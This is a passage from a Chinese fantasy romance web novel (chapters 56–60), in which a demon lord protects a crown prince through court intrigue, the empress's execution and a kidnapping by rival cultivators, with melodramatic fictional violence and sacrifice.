这个女人出现的时机刚好,他得救活这个孩子,完完全全用实力将百姓们心中的顾虑打散,全然信任他们。 月轻盈呆愣愣的看着沈砚台走到女人的面前,弯下腰,只伸出一指,搭在小孩的眉心。 一道金光闪现之后,那小孩的四肢逐渐修复至正常,干枯蜡黄的小脸也红润了起来。 小孩身上的死气消散,蓬勃的生气看着就招人喜欢。 小孩不知道发生了什么,只是看着这么多人下意识的恐惧,便往母亲的怀里缩了缩,依赖地叫喊。 “娘亲……这儿怎么这么多人?” 女人瞪大眼,看看沈砚台,再看看正常健康了的儿子,唇瓣颤抖,眉心一拧,失声痛哭起来。 “谢……谢……大恩人!”女人抱着孩子哭声震耳。 眼睁睁看着沈砚台徒手将一个快濒死的小孩救活,百姓们直呼神了,再无顾虑。 咚咚咚,跪成一排排,以头磕地,满心虔诚,“神仙!” 看着百姓们一遍遍呼吁的神仙二字,月轻盈被震撼的久久不能回神。 他看着立在中央,享受万人敬拜的沈砚台,竟莫名有种想哭的冲动。 他……他好神气! 沈砚台挑眉,嗤笑他们的愚昧无知,“现在信了?” “信了信了!” 百姓们齐齐点头,看着沈砚台和月轻盈的眼神都肃然起敬。 沈砚台满意,他们这般郑重其事,才好让他做接下来的事。 “你们闹着要烧死太子盈一事,既往不咎了,但是得让你们知道先前的几起杀人事件并不是他所为,而是另有其人啊。” 百姓们脸色惊变,直呼他们也是被人骗了,有人说是太子盈做的他们就信了。 沈砚台没降罪于他们,只是截取了自己的一小节记忆。 一个庞大的水球浮现,里面显现出了物件,之后是人的影子。 影像中,新皇后的身影出现,她漂亮的很是锋利,但她接下来的话却堪比刀子。 “皇帝如今不再信任太子盈,古国杀人的事情在前,倒是让我想到了一个除掉月轻盈的法子。 去,你们去找些亡命之徒,收买他们,杀了一些没钱没势的百姓,然后借势嫁祸给太子盈。 这样一来,太子盈失了帝心,又失了民心,就是不死他的太子之位也肯定是保不住了, 那空出来的太子之位,便是本宫的儿子的了,这件事你们一定要做的漂亮,要是露出马脚本宫第一个杀了你们!” 沈砚台见差不多了,便收回记忆。 看着百姓们瞠目结舌的样子,就知道这件事对他们的冲击力有多大。 新皇后脸上那狠戾的面孔,深深印刻在百姓们的脑海里,好一段时间他们都反应不过来。 月轻盈看完后却是不怎么惊讶,新皇后对他敌意最深,见到一点缝隙就缠绕过来不择手段对付他。 他只是难过,为那些无辜枉死,成了皇权争夺牺牲品的百姓感到愤怒。 “父皇!”他立刻转头去看皇帝,却在看见皇帝带着心虚闪躲的眼神,了然了一切。 新皇后做的事父皇都知道,父皇没有怪罪而是选择了放任,更甚至,那些亡命之徒还有可能是父皇让人引荐给新皇后的人的。 月轻盈阖上了唇瓣,目光凉薄,唇边吐出一声苦笑,最后重重的叹息了一声。 父皇……没有选择他啊。 就在他怅然失意的时候,没想到那些百姓们却是愤慨不平。 “好一个心狠的毒妇,害死了那么多的平民百姓,现在还想害死神仙大人!” “是她害的太子盈差点被执死刑,像她这样恶毒的女人,也应该让她尝尝酷刑!” 第56章 第56章节 故意变得袖珍显得可爱 “烧死皇后, 烧去她身上的罪孽!” “皇后不可能没听到消息,她不出面肯定是想逃跑!” “交出皇后!烧死皇后!” 声势浩大,凉国的城墙都在震动。 新皇后自然从探子那里知晓了一切, 她满脸的惊慌恐惧。 她的手在发抖, 不住的咬着手指甲, 渗出血了也没在意,她紧迫逼问。 “皇上呢,皇上是什么反应!” 探子摇头他没听到,见到百姓们叫嚷着要把皇后烧死, 他吓到赶紧就跑来了。 “废物!”听完探子的解释, 新皇后气恼,愈发心慌, 人都有些腿软了。 “你怎么不听完皇上是什么反应再来通报!”新皇后面色苍白,瞳孔震动, 要是能知晓皇帝的决策,她也能早点做出对策。 “没事……皇上……皇上不会不管本宫的!”新皇后说的笃定, 手却是死死绞紧了帕子。 见着百姓们誓不罢休的样子, 想到那美的不可方物的新皇后, 再想想她肚子里的孩子,皇帝到底是不忍心。 “诸位凉国百姓, 皇后乃是一国国母,若是在街市上烧死, 实在是丢皇室的颜面, 朕答应你们,朕一定会将皇后处死,届时将皇后的尸体抬出来让大家见证,你们就此罢手吧。” 百姓们也不敢做的太过火, 天子一怒浮尸百里不是闹着玩的,当下他们就松口了。 皇帝见状,眼里闪过喜色,他早想好了法子,将皇后藏起来,至于之后摆在街市上的尸体,可以让人顶替。 等现在的事情过去,他和新皇后和孩子,还是能过着锦衣玉食无忧无虑的日子。 他算盘打的极好,却不想,他对面的人可是个魔尊啊。 早已看穿他心思的沈砚台,几乎冷笑,他慢条斯理道:“皇上说的有理,那皇上挑吧。” “挑……挑什么?”皇帝被问懵了。 “自然是随同您去皇宫,让我们共睹您杀了皇后的人选,不亲眼看见皇后生死,我们可没法相信你到底有没有杀了皇后。” 字字诛心! 皇帝瞪大眼,看着骁勇将军只觉此人好深的心机。 他可以确定,骁勇将军肯定是看穿了他的小心思故意而为之。 竟然还让他挑选百姓,逼他真杀了皇后,赶尽杀绝,不让他心存侥幸! 好很辣,好歹毒的男人! 百姓们反应过来了,对着皇帝怒目而视,怪不得他这么容易就同意了,居然打着让人顶替的念头。 “对!我们要跟着皇帝去皇宫,亲眼瞧着皇后被处刑!” “就是,单凭您一个人的说辞,我们怎知那黑了心肝的皇后死没死?” “今日她敢妖言惑众说神仙太子盈会蛊术,明日她可就敢让凉国变个国号。” “此女不除不快!” “昏……昏君!” “对,你要是不把皇后交出来,你就是昏君!” “昏……”皇帝被一句昏君激的气血倒流,整张脸涨红,好半晌说不出来一句话。 也是因为这局昏君,他才醒悟过来,女人和皇位哪个更重要。 但看他恢复沉稳内敛,就知道他已经知道了答案。 “那就你,你,和你,加上太子盈……你们随朕一同去见证皇后被处死。” 皇帝没有喊沈砚台。 一,他是古国的人,二,他就是造成皇后被处死的罪魁祸首,这两点足以让皇帝恨死他了。 今日,整个凉国,整个皇室的颜面,全都因为沈砚台一人,没了个干干净净。 沈砚台也不稀罕,不过他担心这皇帝狗急跳墙,中途发生什么变故,走到月轻盈的身边。 “你先去,我马上就来陪着你。” 皇帝已经拔步离开了,后面是他亲自选的几个百姓,月轻盈一步三回头。 “你去不了皇宫,怎么陪我?” 沈砚台一指竖在唇前,唇瓣开开合合,笑得高深莫测,“秘密。” 月轻盈驻足,定定看了他几秒,抿唇,扭头走了,那背影看起来有些暴躁。 “噗……生气了,真可爱……奖励夫人晚上没有觉睡。” 重要的人物一走,街市中心就显得有些安静,沈砚台一个人站在刑台,脚下是匍匐跪着的百姓。 这画面怎么看……怎么诡异。 刨去骁勇将军现在是神仙太子盈的徒弟的身份,实际上……他还是古国的将军啊! 凉国百姓,跪天跪地跪父母跪皇帝,怎么能跪敌国人? 凉国百姓稀稀拉拉的都站了起来,沈砚台只看了他们一眼便全然放任了。 呵,这些百姓胆小如鼠笨拙好骗,却是爱国的。 见他们走远,沈砚台不在忍耐了,扭头对百姓们道:“我现在要去守护月轻盈了,你们自便。” 在凉国百姓们震惊的目光中,沈砚台变成了一条脑袋上有两个尖尖小角像蛇一样的东西,迅速消失在原地。 “龙?那是龙吧?” “话本里的龙就是长那个样子啊!” “呵,你们见过还没我胳膊粗的龙?” 故意变得袖珍,这样显得可爱的沈砚台,无语的翻白眼。 他变小是为了给月轻盈看的! 月轻盈有些吃惊,他们现在走的确实是去皇后寝宫的路。 他惊疑不定的看着走在前面的皇帝,不敢置信,他真的打算杀了皇后。 许是要做给身后的几个百姓看,又许是为了坚定自己要皇位的野心,皇帝他……不打算留着皇后了。 美人千千万,这个没了,还有下一个。 皇后门前的宫女,再见到皇帝的那一刻,便匆忙跪下来,声音比平时高了八度,多了丝慌乱,“参见皇上。” 皇上路过她时,看都没看她一眼,对身后的人道:“凡是皇后近身的太监宫女全都杀了一个也不许留!” 宫女全身血液倒流,惊觉自己活不过今日,嘶吼着饶命。 动静颇大,宫里的人立时知道了结果,皇后……是弃子。 扑通通,是人身体软了跌坐在地的声音。 听着太监宫女的哭声,皇后却一反常态,她脸上噙着甜笑,和往常一样上前迎接皇帝。 皇帝甫一进门,怀中就多了一具温热柔软的身体,“臣妾恭迎皇上。” 皇后拉着皇帝,去他们常坐的踏上,平常她勾勾手指人就来了,今日她抠烂了掌下的手,男人也巍峨不动。 皇后惊慌的眼泪啪的落了下来,她转身去看皇帝,他眼里的绝情看的她悲恸不已。 “皇上,你真的要杀了臣妾吗?” 第57章 第57章 这点程度的情话也听不得吗…… 皇帝对上美人的眼泪, 也只是眼波微动,决意道:“处死!” “臣妾可是怀了你的孩子啊!皇上!”新皇后崩溃,对着皇上又打又踹。 “你做下谋害皇子的事, 还杀了这么多无辜的百姓, 拿你一条命去顶都不够赎罪!” 见皇帝真的翻脸不认人, 新皇后慌的口不择言。 “皇上,你怎么能这么无情,当时谋害太子盈一事你可是同意了的啊!” 皇帝眉宇间立刻浮现杀意,他喜欢新皇后的美, 还怀了他的孩子, 可是她那张会乱说的嘴着实碍事。 皇帝眼疾手快,拔下新皇后头上一根雕着凤凰的细簪, 重重插在了她的心口。 剧痛自心口处蔓延,新皇后很快就察觉到生命的流失, 她不可置信的看着自己一身鲜亮的衣袍被鲜血淋透。 垂死前,她倒在地上, 目露凶光, 用最后的力气发出对皇帝的诅咒。 “你这个狗皇帝, 永远躲在女人后头的缩头乌龟,天来收我, 下一个收的就是你!” 原本恩爱缠绵的两人,此刻倒像是仇人, 都不想让对方好过。 皇帝听着新皇后的咒骂, 想起被百姓们逼着处死皇后的事,此刻又处于被太子盈和骁勇将军压制的阶段,他只觉得自己现在太窝囊太憋屈。 今日受到的屈辱都是太子盈带来的! 月轻盈还没从皇帝杀了新皇后这戏剧性的一幕中回神,转眼就一阵遍体生寒。 他不经意间抬眸, 竟是看到皇帝眼神阴森,里面充斥着狠毒。 皇帝容不下他,对他起了杀心。 月轻盈回避他的视线,眼底有着水汽,他不想被父皇记恨。 亲眼见证新皇后死了,皇帝便以此事罢休不再过问,让人将月轻盈和百姓们送出宫。 缓缓合上的宫殿大门,皇帝背着身,周遭一片黑暗,像是他也进入了泥沼中。 回去的路上阳光明媚,见着好风光,月轻盈沉底的心变得柔软。 一阵风吹动,他仔细听,枝叶沙沙作响,天地满是生机盎然的景象。 路过一处花园,青石板路前方陡然出现一细长条活物。 “什么东西?”打头阵的小太监,找来树枝就要挑开瞧瞧。 细长活物尾巴一摇,哧溜哧溜晃到月轻盈脚边,挺起胸脯,两个尖尖小角的脑袋在他的腿边蹭来蹭去。 月轻盈睁大眼辨认,见像是蛇,立刻厌恶又害怕的后退。 这活物让他想起来他先前做的梦,他是一株小莲花,养在水里,时光静谧,不知哪来的小蛇就咬他的花瓣,爬进他的花蕊里。 “赶紧弄走!” 见月轻盈躲在太监的身后,神情闪躲,打开心扉露出本性想粘人的沈砚台,浑身一僵。 不过,他好战,小尾巴尖摇的欢快趁着不备,爬到了月轻盈的手臂,紧紧的缠绕在上面。 一旁的太监想上前救太子又怕惊扰了蛇,只敢站在原地不动,想着其他法子。 手臂上的触感,冰冰凉,滑腻腻,还会动,他浑身发麻,就要不顾一切将他摔下去,却见小蛇动了。 先是伸出红红的蛇信子,舔了舔他的手背,又拿头拱他,小尾巴尖一直欢快的摇来摇去。 不知为何,憨态可掬,月轻盈被他狗腿的样子逗笑,不怎么怕了。 “小畜生,你是想干什么?” 头一次被骂小畜生,沈砚台体感新鲜,不过观骂的人是月轻盈,他就不怎么生气。 小蛇哪会说话,月轻盈觉得自己糊涂了,笑笑带着他一起走。 “那我们便先出宫,你可能不喜欢这个地方,等你找到你喜欢的地方便从我身上下来吧。” 一行人到了街市。 从皇宫里出来的几个百姓立刻告知其他人新皇后死了的消息。 月轻盈则是在周边找了一圈也没见着沈砚台,琢磨着这人去哪了的时候,他手臂上的小蛇啪嗒落地。 在他惊奇的注视下,沈砚台立在他身边,与他比肩之姿。 “找到了。” “什么?” “找到了喜欢呆的地方。” 月轻盈缓慢眨眼,看着沈砚台注视他的炽烈眼神,忽然就反应过来了,继而脸蛋爆红,剧烈咳嗽起来。 “啧……这点程度的情话也听不得吗?”沈砚台若有所思,大掌覆盖在月轻盈的背后,有一下没一下的轻轻拍打着。 “好听!”还在弯腰咳嗽的人,猛地直起了腰身,像是怕他不立刻回答,沈砚台以后就不会说了。 沈砚台愣了两秒,哈哈笑了出来。 月轻盈见他笑,唇瓣一弯,也跟着傻笑起来。 一个月后。 太子盈和沈砚台为了古国凉国周边几个国家的盛世太平,做了很多努力,但是最近突然出现的几个反神教,教徒众多,伺机破坏几国关系,导致好不容易缓和的关系立刻又降至冰点。 这一个月里,沈砚台向月轻盈求欢多次,每次都被这个反神教打乱计划。 沈砚台开始暴躁,没了耐心,想杀人的念头加深,觉得人间无趣,想尽快带着月轻盈回修真界。 这天…… 月上梢头,屋内烛火葳蕤,展开的床榻上,纠缠着两具温热的躯体。 情感在加深,沈砚台眼底燃烧着火焰,看着被他哄的如水一样软的月轻盈,抬手就要勾下他大腿处的衣服。 突然,一阵急促的拍门声响起,打断这暧昧的延续。 拍门声太熟悉了,反神教的人又在闹事,沈砚台不在遮掩,双目露出凶光! 月轻盈被他亲的浑身发软,眼底也有些潮湿,他喉结滚动了一下,手搭在胸口,憋气让心脏的跳动变慢,冷静下来就要起身。 “你休息,我去处理。”沈砚台一把按住他的腿,安抚性拍了拍。 离开的时候,月轻盈看着他带有怨气和怒意的背影,扑哧笑了出来。 不过想到他刚才结实有力的双臂托着他的腿,露出肌肉纹理好看的胸腹,满眼带着野心,弯腰够着来亲他,他又笑不出来了,跟个小乌龟一样,找了锦被将自己埋了进去。 不能想不能想,他好下流! 到了地方,沈砚台直接升天,眯眼看着脚下这些凡间人分出来的几个国家,耐心告罄。 月轻盈的愿望是太平盛世,他也愿意去守护他的心愿。 只是,凡间的人野心太多,解决完这个还有下一个没完没了。 这些人那么的不听话,那他就将他们全都控制起来。 月轻盈想要的海晏河清也能圆满达成。 “不过这件事可不能让盈盈知道啊,否则我死了他也不会原谅我吧……” 想到在他怀里软软糯糯甜人可口的月轻盈,沈砚台眼里有猩红色在闪烁。 幽静的月光。 沈砚台脚下开满了遍地的食灵花,随着他眼瞳中的红色越发的浓,便代表着这片土地上的生灵正尽数被他掌控。 第58章 第58章 终于将一切都安排好,沈…… 终于将一切都安排好, 沈砚台飞身下地,步伐沉稳,来到一处反神教教会人员住所前。 他推开门, 走了进去, 见被他所控制的人, 双眼呆滞,像是没有灵魂的木偶,扬唇笑了笑。 深红色眼瞳一弯,里面盛着浓厚的恶意, 被控制后, 这些下界生物听话多了。 “以后你们就按照我们的想法做事,别再来坏我的好事。” 见人呆傻的点头, 沈砚台冷着脸哼了一声就要走,突然又顿住了。 “就这样空着手回去, 盈盈会不会觉得我没干活?” 他回身,额前的发遮住了他的眼睛, 手起刀落, 反神教教会人员所穿着的‘反神教’教会的衣服被他拿下。 “这样差不多了。” 沈砚台眼里的红色消退, 在月光下清亮的不像话。 回到住处,沈砚台一边将收缴来的证据给月轻盈看, 一边快速的脱衣服。 见月轻盈愣愣地像待宰的羊羔,他的心脏兴奋地不住咚咚响。 “你逃不掉了。” 天边露白。 闭眼休憩的沈砚台心口处忽然涌起一股冲动, 他猛地坐起身, 呕出一摊血。 他呼哧喘气,看着掌心的血,有些怔然,身旁一侧动了动, 他立刻紧张的看过去。 见月轻盈睡的脸红扑扑地,他看了一会才抽离视线关注起了自己。 好端端的怎么会呕血? 他用魔气将血迹去除,翻身下床,来到桌前,细细思索,明白过来。 “食灵花的毒又在作祟了啊。” “加上先前为盈盈疗伤还没痊愈的魂珠,心头血,被雷劈……新伤旧伤放一起爆发了啊。” “所以才会突然呕血?” “那我现在岂不是非常不妙?” 沈砚台沉着冷静,双手环胸,食指点在胳膊上,陷入沉思。 半晌,他回头看向睡得不安稳的月轻盈,唇瓣抿紧,表情并不轻松,“要尽快带你回去了。” 他起身,走到月轻盈身边,看他舒展开的睡颜,把玩他的头发,不小心扯掉他的头发收获一记恶狠狠的眼神时,噗嗤笑出声。 “我的错,你再睡一会。” 沈砚台轻手轻脚,将月轻盈纳入怀中,闭眼睡去。 修真界,魔尊沈砚台许久未露面的缘故,看似平稳无波的表面,实际背地里已经起了不少漩涡。 月华宫门前。 再度被宋先灵纠缠上的小狐狸,面容憔悴,身削骨立,饱受折磨。 “魔尊到底去哪儿了!”宋先灵的口吻阴森。 他瞪着小狐狸眼里都是杀意,若不是她是魔尊的人,此刻她早已被剔骨剥皮。 “我说了,我不知道!”小狐狸崩溃,捧着脑袋,泫然欲泣。 “我都说了,尊后死了,魔尊消失,会不会是魔尊后悔去救尊后了,你就不能去查一查吗?” 宋先灵疑心极重,不愿相信小狐狸说的话,但是这些日子不见魔尊的身影,没有他的气息,他已经信了三分之二。 他咬咬牙,剜着眼看小狐狸,“如果这次我还是找不到魔尊,我一定将你杀了。” 小狐狸低着头不说话,只是泪水不住掉落。 伴随着宋先灵这边的混乱,正道那一派的人也十分焦灼。 月轻盈不见了! 不,他不见了没事,关键是天骨不见了! 先前那起夺天骨的计谋并没有成功,他们并没有放弃,如今安静的这些时日,其实是他们在为夺天骨的事做另一则谋划。 “天骨我们势在必得。” “月轻盈肯定没死,天骨肯定还在他的身边。” “是啊,天骨若是消失,天地会有异象,如此看来,这个月轻盈怕是藏起来了。” “此间不见他的身影和气息,有没有可能他去了三界五行中的其中一行?” “你们别忘了,月轻盈可是凡人修仙,得大成后才有的仙骨。” “走,去人间界看看。” “记住,此番若是找到月轻盈别留活口,得到天骨后速来见我!” 同一时间,魔族和正道两波人马,纷纷涌向人间界。 空气的波动,沈砚台在一瞬间就捕捉到了。 他没有放在心上,看着在他面前安静的吃着点心的月轻盈正加感兴趣。 他发笑:“我们现在真的像是夫夫对吧。” 月轻盈抬眸疑惑。 沈砚台:“你吃点心,我都守着你,我们很相爱对吧?” 月轻盈咽下口中的食物,喝茶漱口,慢条斯理道:“本来有点胃口的,被你这么一说,饱了。” 沈砚台咂嘴。 “我要去沐浴,你有事就先忙。” 洗完澡后,月轻盈一身干净清爽,思维都清净了许多。 沈砚台那日带回来消息说反神教以衣袍为誓,立地解散教会,不再阻挠他们。 他看着眼前开阔的花园,美丽的风景,心道,属于他们的安宁,海清河晏真的要来临了。 第59章 第59章 偷了我的人,你们想去哪 半个月后。 由月轻盈和沈砚台的牵头, 古国、凉国、及其周边一些国家,在百姓们的见证下签订了和平条约。 生活终于得到保障的百姓们几乎是喜极而泣。 古国、凉国、周边小国国主们也为了这一刻,彻夜长欢。 人们迎来了盛世。 这次停战的宴会一直开设了三天三夜。 环顾酒气熏天, 人事不省嘴里还在嚷嚷着干杯的几国国主, 月轻盈再也撑不住, 拉着脸不红气不喘的沈砚台率先逃了出来。 远离的喧嚣吵闹,看着头顶的明月,月轻盈才察觉出一丝卸下了肩膀上重担的轻松。 “终于能缓口气了。” 沈砚台看着他,嘴角一直上扬着:“这一幕看着可还算欢喜?” “自然, 这一幕算是实现了我的愿望, 天下太平,海晏河清, 百姓们以后也能睡个好觉了。” 沈砚台的笑容有些僵硬,他躲避开月轻盈的视线, 轻声附和:“如此你开心,我亦开心。” “是吗?那可真是太好了。”月轻盈弯唇笑, 突然有些不好意思。 “这些日子发生了这么多事, 我还没有谢谢你呢, 你想要什么吗,我送你?” “我想……”沈砚台一瞬间就想到了要带他回修真界, 但是他不知道怎么说。 跟他说修真界什么的,他估计也不会相信吧, 他苦恼起来。 月轻盈敏锐, 警惕起来:“干什么这个表情,有话直说啊。” “没什么。”沈砚台看着月轻盈,看他年轻俊美的脸庞,受到了诱惑, 在心里算着,匆匆几十载岁月,他等上一等也无妨。 他放松下来,揽着月轻盈的肩膀,“就是感叹一下,能得到你,像这样拥你入怀,我也蛮厉害的。” 月轻盈脸涨红,推开沈砚台,扭开脸,“哼,不知所谓,大言不惭,大庭广众的你说什么呢!” 沈砚台放任一笑,凑到月轻盈耳边执着呢喃:“反正你就是我的,你跑不掉。” “你再说!”月轻盈气自己不争气,对他上心,又舍不得拿他出气,只能别扭的佯装发怒。 “哎呀,要打人了,我走,我走还不行吗!”沈砚台一缩,立刻又跑回宴会。 见他走,月轻盈舒了一口气,酒气上头,他晕晕乎乎就打算回寝殿了。 就在这时,他的身后传来了脚步声,他嘴角勾起得意的笑,猛地转身,啊一声大叫,想要吓唬来人。 下一秒,他的声音就卡在了喉咙里。 “嗬,我被你吓了一跳。” 来人是沈砚台不错,只是他的表情还有行为举止都冷淡了很多,没了先前的亲昵。 “你怎么这个表情?” 月轻盈狐疑,上前伸手摸他的脸,触手冰凉,激地他打了个哆嗦,刚想把手收回去,却被用力扣住了手腕。 “我没事。”沈砚台表情阴恻恻。 “没事……没事就好。”被他冰冷疏离的语气一刺月轻盈有些受伤,他下意识想把手挣脱,却被更用力的擒住。 月轻盈有些怒了,“你干嘛,松手啊,你抓疼我了。” 沈砚台却是不管不顾,拉着他的手将他扯近,“我带你去个地方。” 月轻盈被他强迫着带离了皇宫,一路来到了偏僻的树林。 月亮投下的光有些阴冷,他觉得有些不对劲,心生抵触,再度挣扎。 “你到底要带我去哪?” 许是他的挣扎惹怒了沈砚台,竟是回身正手给了他一巴掌。 啪一声,月轻盈的脸被打的偏向了另一边,火辣辣的刺疼在提醒他,这不是做梦。 各种酸涩恼怒情绪上涌,月轻盈反应迟钝,孱弱的身体倒是先受不了的用力咳嗽了起来。 “什么啊,还是个病秧子。”沈砚台将他的手松开,顺势将他摔倒在地,冷眼讥讽看他身体痛苦蜷缩起来的丑态。 月轻盈挣扎看他,一言断定:“你不是他。” 沈砚台额角青筋跳动,不知道是被戳穿了恼怒还是其他原因,眼神里带上了杀意。 “真好啊,在我不知道的这些时日里,你们居然已经恩爱到都能认出不是对方的这个地步了。” “真是该死啊,月轻盈,你偷走了这么多岁月,霸占了他那么长的时间,也应该知足了吧?” 月轻盈看沈砚台这副疯魔的样子,反而不惧怕了,只要不是真的沈砚台杀他,他就心安。 “我听不懂你在说什么。”无视掉这个伪装成的沈砚台人,月轻盈花心思考虑自己该怎么逃出去。 就在这时候,他的背上一疼,转眼看去,却是假的沈砚台将脚踩在他的身上。 “听不懂?听不懂更好,这样你也能死的痛快一点。” 假沈砚台手中聚集魔力,打算让月轻盈死无葬身之地,就在这时,一伙人出现,几个来回将他打伤,带走了月轻盈。 假的沈砚台站立在原地,有些反应不过来,半晌后忽然哈哈大笑。 “原来如此,正道的人也想要杀你为后快啊,月轻盈你今天死路难逃。” 假的沈砚台也就是宋先灵,他在得知找到了月轻盈,苦苦寻来,就见沈砚台和月轻盈两人相拥,嫉妒攻占了他的理智。 在沈砚台离开后,立刻隐藏踪迹,假扮成沈砚台掳走了月轻盈。 看着几人消失的方向,宋先灵笑的扭曲,虽然月轻盈不是死在他手上,但,只要他死了就够了。 “真是一出好戏。” 他又想到了毫不知情的沈砚台,眼里有着报复般的狠毒。 “沈砚台也是个好笑的,心爱之人就要死了,他估计还什么都不知道吧。” 端起酒杯打算一饮而尽的沈砚台,察觉到有魔气积攒,立刻消失在原地。 而他一离开,刚才还如酒池笙歌的宴会立刻陷入了死寂。 他迅速在皇宫里搜寻,没有要找的人的身影,催发了心头血。 “找到了。” 他一个踏步,转瞬来到距离月轻盈不远的地方。 前方一伙人正挟持着月轻盈快速移动,月轻盈肉体凡胎,罡风,树枝在他身上留下了痕迹。 空气中有血腥味,他还捕捉到了月轻盈咳嗽的尾声,他现在正饱受痛苦的折磨。 沈砚台再不能忍,一个跨步上前,拦住了这些人。 形势倒转。 “偷了我的人,你们还想去哪?”沈砚台眼里的猩红色一点点蔓延,直至瞳孔,杀意翻涌。 第60章 第60章 沈砚台我死了之后你要给我报…… 两方人马剑拔弩张。 这伙人却是没有逃跑, 而是停留下来和沈砚台对峙。 “不逃?”沈砚台脸色阴沉下来,频频看向虚弱的月轻盈,眼里有着担忧。 下一秒, 他的害怕成了现实。 “好久不见啊, 魔尊大人。” 人群中走出来一人, 脸上带着面具,披着长袍,手上推搡着月轻盈,一掌掐上了他的喉咙。 沈砚台眼瞳紧缩, 不敢掉以轻心, 唇瓣抿紧,不发一言。 “怎么了, 魔尊大人?怎么不动手?”这人自说自话,醒悟了一般, 呵笑道:“哦,原来魔尊大人不动手是因为有把柄在我们手里啊。” 本来心肺干痒想咳嗽的月轻盈, 一把被掐住吼部, 无法得到缓解他的脸涨红, 眼里带上了痛苦。 他突然抬手殴打挟持他的人,掐抓他的手臂, 一眼就看穿他难受的沈砚台,眼里有着煎熬。 “放开他。”他深吸一口气, 散了凝聚起来的魔气, 这无疑于自愿被对方牵制。 “他难受,放开他,让他咳嗽。”沈砚台紧紧盯着对方。 “哎呦,心疼了, 心疼了,真是的,魔尊大人这么懂事,咱们也不能落了魔尊大人的面子。” 说话这人放开月轻盈,得到呼吸,可以缓解心肺干痒的月轻盈,咳的天崩地裂,他跌倒在地,浑身都在哆嗦。 他看着地面,不可置信,这是发生了什么,上一秒还好好,为什么他们就被威胁了。 沈砚台呢。 沈砚台怎么样? 他抬眼去看沈砚台,见他表情不轻松,他的心立刻揪紧。 这次的事情很严重,沈砚台也做不到游刃有余。 “砚台……”他启唇,刚开口就被人狠狠揪住了头发,剧痛让他倒吸一口凉气,脸也皱了起来,他抬手反抗,手却被擒住。 “唔……” 他下意识地去看沈砚台,下一秒,立刻收声,心神大为震撼,沈砚台担心他,担心到处于焦躁的状态,他的眼睛里都是血色。 沈砚台气疯了,见月轻盈担心他疼也不敢吱声,恨不得立刻杀了这群人。 僵持中,为首的人出声了。 “魔尊大人好像都不好奇我们是什么人呢?” 沈砚台眼神微动,“还能是什么人,对月轻盈这么执着的人只有正道那些道貌岸然的伪君子吧。” “魔尊大人骂人,我可就不开心了。”说话的人猛地拽住月轻盈的头发狠狠往上提,月轻盈疼的眼泪顷刻间落下。 沈砚台上前一步想要阻拦,这些人却是齐齐后退,他顿住,不在轻举妄动。 “你们放开了他,你们要什么我都可以给你们。” “也没什么,就是想要天骨。” 沈砚台龇目欲裂,前几次取天骨的事还历历在目,月轻盈根本不能承受那些痛苦。 他压下急躁,“天骨我可以给你们,只要你们肯放了他。” “魔尊大人这话说的,难道天骨不在月轻盈的身上?” 沈砚台看向月轻盈,立刻收回视线,“你们应该记得上次取天骨一事吧,那时候天骨已经从他身上剥落。” 正道修士沉默,回想起来,天骨确实已经剥落了,是月轻盈自愿脱落送给了小河。 小河也死了,这天骨自然落在了沈砚台的手中。 众人互相对视几眼,为首那人将月轻盈往前一推,见沈砚台果然上钩的往前了一步,知道月轻盈在沈砚台心中的份量后,冷笑了起来。 “既然如此,那我们得到天骨之后自然会将月轻盈还给魔尊大人。” 沈砚台脸上闪过欣喜。 正道修士却是处处防备。 “魔尊大人,你也知道我们这里的修士加在一起也不是你的对手。” 沈砚台神色一凝,眼眸变深。 “也没什么,就是希望魔尊大人能重伤自己,就到能让我们成功逃跑的地步就好了。” 沈砚台紧紧盯着这群人,几乎是没有一丝犹豫,左手抓着右手,撕拉一声,混着鲜血,直接卸了自己的右手。 “我会按照你们说的去做,但是你们若是没有放了月轻盈,我必会让你们死的极其痛苦。” “魔尊大人真是的,干嘛这么强硬,现在,请魔尊大人亲手震碎自己的五脏六腑吧。” “好。”沈砚台眼无波澜,手里聚集起魔气就要往身上招呼。 而这时候一直安静的月轻盈,却是歇斯底里的挣扎了起来。 他怔然的看着仿若成了一个血人的沈砚台,当时他扯下自己的胳膊,见到那迸溅的血,他都没有反应过来。 现在听到五脏六腑四个字,他哪里不懂,这些人是想要他的命。 “不要……不要听他们的!”月轻盈眼里带着乞求去看沈砚台,颤抖的嘴唇出卖了他的担心,遏制不住的眼泪阐述了他的心疼和害怕。 “没事,你乖乖的,你马上就没事了,怕的话就把眼睛闭上。”沈砚台安抚一笑。 下一秒,抬手,用魔力将月轻盈的视力封住。 眼前一片黑暗,月轻盈看不到发生了什么,他只能从声音,空气中的味道,对话,去捕捉发生了什么。 有大掌拍向身体的身影,有吐血的声音,有喘息和短促的痛苦声…… 空气中血腥味浓厚的让人作呕。 月轻盈浑身颤抖,他死死咬着牙,喉头一哽,大声骂了出来。 “狗东西沈砚台我让你别这么做!” “我也是男人,我就怕死了吗!” “你们这些畜牲听着,谁也不准动他!” “沈砚台,我死了之后你要给我报仇!” 说完话,月轻盈舌头抵着牙,狠心咬了下去! 噗呲,血溅在空中,血腥味还是浓厚,半截指骨迸飞。 月轻盈察觉到舌头隐隐作疼,口腔里血味腥甜,他忍不住悲伤。 很好,他很快就要死了,谁都不能威胁沈砚台了,沈砚台这么厉害肯定会给他报仇。 刚才的憋屈和难过马上会被打脸回来,除了他要死了,舍不得沈砚台,再也抱不到沈砚台后好像也没有什么了。 就在他在心里大声说爱沈砚台的时候,他的脸被人捧了起来,触感温热湿滑,血腥味逼人。 就在他想着是不是沈砚台把这些人都解决了,来拥抱即将要死的他的时候,却听到了沈砚台的声音。 “别咬,别咬自己,都说了没事。” 轰然一声脑子发懵,月轻盈反应过来后大哭了起来。 “你为什么救我,都说让你报仇了!” 他终于知道为什么脸上有湿滑的触感了,沈砚台在千钧一发之际救了他,他咬断的是沈砚台的手指。 他舌头疼是被那断骨割伤了。 月轻盈心疼得无以复加,哭嚎了起来,“都说了不要你救,都说了不要你救……” 看着月轻盈哭的不能自已,沈砚台哼笑了起来,“哭的跟小花猫一样,真丑。” 月轻盈唇瓣抿紧,根本抿不住,哭的泪水涟涟:“我求你,你走好不好?” 他看不到沈砚台,不知道他现在什么状况,心急恨不得抠烂自己的眼睛,只求换来好好看看他。 “没事没事,马上就好。” 沈砚台爱怜的看着月轻盈,伸手在他的耳朵上,嘴巴上轻轻抚摸。 很快,月轻盈就发现自己听不见声音了,嘴巴里也发不出声音了。 沈砚台,封闭了他的视线,听觉,声音。 巨大的惊恐占据了月轻盈的心台,沈砚台打算做什么,他现在怎么样了! 